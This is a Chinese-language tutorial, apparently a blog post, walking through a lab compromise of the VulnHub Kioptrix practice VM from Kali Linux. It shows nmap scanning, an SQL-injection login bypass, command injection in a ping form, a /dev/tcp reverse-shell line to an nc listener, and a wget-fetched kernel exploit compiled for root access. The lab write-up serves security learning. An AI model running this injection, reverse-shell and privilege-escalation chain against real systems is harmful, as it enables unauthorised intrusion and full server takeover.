有许多人对神秘的黑客一直感兴趣,却苦于网上资料繁杂,无法入门,在学黑客之前,你要知道什么是黑客,黑客就是那些对计算机有着强烈探索欲的人,一个真正的黑客,必须要至少掌握一门编程技术和熟悉系统的操作命令。 下面我会实际演示一个黑客是如何通过一个普通的网站攻破服务器并获取ROOT权限。
基础环境准备
1、安装Vmware虚拟机(不建议使用真机);
2、前往vulnhub下载测试镜像,下载地址
https://www.vulnhub.com/entry/kioptrix-level-12-3,24/
3、用Vmware安装下载镜像,安装完成后启动服务器(这就是我们的目标服务器了);
4、虚拟机安装kali操作系统,kali系统下载地址:
https://www.kali.org/downloads/(也可以选择其它操作系统,Kali关于渗透测试工具集成比较好);
以上基础环境可谷歌、百度自行安装,有问题可以反馈留言。
备注:目标服务器和Kali服务器网络需要配置同一个网段,默认选择Vmware的桥接模式即可。
操作流程
一、Kali系统IP查看
基础环境准备完毕,这时候需要打开我们的Kali服务器了,查看Kali服务器自身的IP,敲入ifconfig命令,查看到Kali系统自身IP地址为192.168.137.133。
二、扫描目标服务器IP地址
nmap -sP 192.168.137.1/24
经过nmap扫描后发现,同网段有192.168.137.88 的IP,这个IP就是我们此行的目标IP了。
三、扫描目标服务器开放端口
nmap -A -p 1-65535 192.168.137.88 -v5
扫描192.168.137.88这台服务器上开放的端口,发现目标服务器开放的端口比较多,其中有常见的3306和80端口,相信有一定经验的运维或者开发人员都知道,这两个端口代表MySQL服务和Http服务,后面攻击这台服务器就会通过常见的80端口进行操作
四、SQL注入操作
用浏览器访问http://192.168.137.88,发现是个登录页面,尝试用SQL注入,可登录到管理后台,此SQL注入原理是由于后台服务对用户输入的参数没有进行校验,直接进行SQL拼接,导致出现该漏洞。
登录后发现可看到管理员界面,这个界面是管理员用于查看机器是否能ping通的,测试输入localhost,点击submit,发现ping命令可以执行,然后这时可以用&& 符号连接其他命令,发现都能正常执行,这时想到我们可以利用反弹shell进行操作。
五、反弹Shell操作
Kali机器执行如下命令:
nc命令可以实现任意TCP/UDP端口的侦听,这里nc是作为server以TCP或UDP方式侦听4444端口(备注也可以指定其它端口)
nc -v -l -p 4444
浏览器上填写如下命令:
此命令是实现反弹shell,sh -i 打开一个交互的sh,/dev/tcp建立一个socket连接,>&将标准错误输出重定向到标准输出中,0>&1将标准输入重定向到标准输出中。
localhost && sh -i >& /dev/tcp/192.168.137.133/4444 0>&1
这时候发现自己的Kali机器上已经进入shell操作界面,这时候的shell就已经是目标机器的shell了(偷偷的窃喜一波)
查看目前的用户发现是Apache用户,权限较低,无法创建、操作、删除文件,也没有权限进行sudo操作,如下图所示
六、提升权限到ROOT
这时执行 uname -a 命令,发现该系统用到的内核是2.6.9版本,如下图所示。
这时候就可以去谷歌搜索该内核版本是否存在高危漏洞,或者使用searchsploit工具进行搜索,幸运的是,网上已经有人针对该内核版本做过提权漏洞的脚本,如下图。
通过wget把该文件下载到服务器上,由于操作的终端是反弹shell的终端,rz命令不可用。如果文件较内容较少,可以手动编辑,这里我是直接本地用 Python -m SimpleHTTPServer起个简单的静态文件服务,然后在服务器用wget命令下载。
下载完成后用gcc命令编译,然后执行编译后的文件,此时发现权限已经由普通的apache用户提权到root用户了,到此大功告成了,可以彻底做自己想做的事情了。